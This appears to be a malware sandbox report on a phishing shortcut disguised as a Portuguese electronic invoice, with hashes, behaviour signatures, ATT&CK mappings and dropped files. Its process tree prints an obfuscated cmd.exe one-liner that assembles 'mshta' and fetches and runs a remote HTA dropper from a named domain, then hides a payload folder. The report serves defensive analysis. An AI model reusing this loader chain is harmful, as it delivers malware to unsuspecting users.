a309f2857971779c4743e9d89d4faa598ea73ae945a6186e22058d49abd9bbee

General

Target
Fatura Eletronica-JV8HRF.lnk
Size 2KB
Sample260823-d95f9adr3w
SHA256 a309f2857971779c4743e9d89d4faa598ea73ae945a6186e22058d49abd9bbee
MD5 170d3e6f3ff8aa736cc9b5c354dbaf90
SHA1 3e7d693b627a78a17223e615a537e8818fb948b1
SHA512 1dd0be9dc12616191e33d3475e5c21b45600208e90c285d8b8a8b92bb3debcc9e70c8dfea9742f6ef175cf8e4e2047872a403e239d511432d97c02b181417d50
TLSH
T14F41F5403BEA15E8F2FB5F72EDFA6750497BBC529D60C68D0850824C0922B41D9B7B7B
MD5 SHA1 SHA512 TLSH

Score

10^/10

adware defense_evasion execution persistence spyware

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
https://faturaeletronicapt.com/h/estagio1.php?r=2412

Signatures

Badlisted process makes network request 8 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	2844	mshta.exe
6	2844	mshta.exe
9	2844	mshta.exe
10	2844	mshta.exe
11	2844	mshta.exe
13	2844	mshta.exe
14	2844	mshta.exe
15	2844	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
6004	cmd.exe

Modifies Internet Explorer settings 1 TTPs 4 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	14	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
2516	rundll32.exe
3348	rundll32.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 6004 wrote to memory of 1032	6004	cmd.exe	90
PID 1032 wrote to memory of 2844	1032	cmd.exe	91
PID 2844 wrote to memory of 2516	2844	mshta.exe	94
PID 2844 wrote to memory of 3348	2844	mshta.exe	95
PID 2844 wrote to memory of 3496	2844	mshta.exe	96

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5660	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Fatura Eletronica-JV8HRF.lnk"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6004
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /D/V:on/C"set lULI=tmprogoavbzbgehlpacttmp&&set fx=netqbflfxtcadtnet&&set prg=sysittcjawpnavipzbbsys&&set WK=datoqgldsrhuwnamjdat&&set ld=winoqcitttawin&&set eMtHY=umc&&set BWnJ=3crshtv&&set jLC=7bkav&&set EGMtV=6star47&&set zys=15ttq&&set NiA=winapgcgrsgnrvjgcdammwin&&set mgSJn=tmpibulskchrkukyasmptmp&&set zEUW=cfgslinqellxcfg&&set JDyTs=infxdjdlinf&&set nF=netkdhgvvrodnet&&set pB=h@t@tp@s:@//f@a@tu@rael@e@t@[email protected]@m/@h@/esta@g@i@o@1.@p@h@p?r=2@412&&start /b !eMtHY:~1,1!!BWnJ:~3,3!!jLC:~3,1! !pB:@=!"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1032
- - C:\Windows\System32\mshta.exe
    mshta https://faturaeletronicapt.com/h/estagio1.php?r=2412
    3⤵
    - Badlisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:2844
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      PID:2516
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:4148
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      PID:3348
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:1172
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      PID:3496
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:4852
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      PID:972
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:4624
  - - C:\Windows\System32\attrib.exe
      "C:\Windows\System32\attrib.exe" +h +s "C:\gtxiqrby\"
      4⤵
      Views/modifies file attributes
      PID:5660

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

Windows Command Shell

1

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

1

T1564

Hidden Files and Directories

Modify Registry

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

a1.zip

Path C:\gtxiqrby\a1.zip
Size 494KB
SHA256 535ad5c7e3375dcf784d4d7273336173b9bf7b5b8f9f843deeae1106f1e3ef81
MD5 fccef84711d3f9607261df85476a92aa
SHA1 55a96bd3d2f955d11404cac6303b8603278f5581
SHA512 7b373962ba2d1455576a575d55f1940b98d7491d868ab3cef665d1908719edfc9f5c00e7dd3b9a979f072cf5c86f27130d669bcb4321688c4871b2af9ef17508
SSDEEP 12288:UxU7hblQnL+/dh+Gez4yOGtBan225oCWp8SrIu:Uq7hblmK/dgGeVlk22aCarIu
TLSH
T133B4231C22C5BD086D3D97FB58539F7405E62A9E14B8024CE18B73C4ABCEF815F829E6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

a2.zip

Path C:\gtxiqrby\a2.zip
Size 1.3MB
SHA256 8f73b65bd0f46d467c9543e125223ed377fc048ac4f1b65156275e0b49536502
MD5 5990866ea5ef9f7848e11b39a44c8f88
SHA1 b2ae4dafc3c7d78d837487385c90199d6a5b733f
SHA512 658083ccbecc2c6938e8c788307891a7e29a582137b2b57fa178c1b43549380ed4b90ca318e8853d95115054bc24c7bde74509ee7d2ca8aa8ff37b5262d0bcc0
SSDEEP 24576:pAQY9DBKrgDKckYrblXCBuK0dnu8e/ck0V0TPut0R+S1ksjV1ur6R1e0d:pAQXgDKcXrbVWd2Pe00Tm64StV1c6Xea
TLSH
T1575533C6E64D1267D02C33BA25E70DA45F8943DA89365A7C587CFA9A0360D28F7CE1DC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

a3.zip

Path C:\gtxiqrby\a3.zip
Size 2KB
SHA256 84b62519cbabfc2e45077d09d40d951b40f0b11cc713213e2e7951dd2d56097b
MD5 3bc9027d4a6e00082783bbd79ce08c7e
SHA1 424d073ea5505e219a0657158f77fbd85f4b9c9b
SHA512 1cbb5375476c05a24315f4aab180b204ff54ac929c82dd70af8efa77c4cfcb27637c83fdd943dff33da0551e1bad0a63215d59cf64c1e9611dce2aef9e99b4c4
TLSH
T183414CE98DBDBD90D28E7A789A14587156372EC489C062681FBFEC0421213A8CF2F46D
MD5 SHA1 SHA512 TLSH

Submit Download

gtxiqrby.exe

Path C:\gtxiqrby\gtxiqrby.exe
Size 957KB
SHA256 bdd2b7236a110b04c288380ad56e8d7909411da93eed2921301206de0cb0dda1
MD5 279274f8a137bf31425a9c2c14444b66
SHA1 6f7f971406854309d94139aa70bdc772308aff52
SHA512 2e69e99ae2c2f0c3361351853ecfcd1982ea542ef8aff9314e991642f106a87d45479f21f53367ad93b29ce9d98b60706ff9554a9c9d2a793fbed1589b90a85d
SSDEEP 24576:8SmEH7kpRArkvBz1oxovFDVeAj2HoB3a33rfBH:827kpRA4R1oGDVeQXsrf
TLSH
T11B259E0373D18022FF93A9721E5FE72656BC6D2A0323956F13D81EB9F9305B14A1E672
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads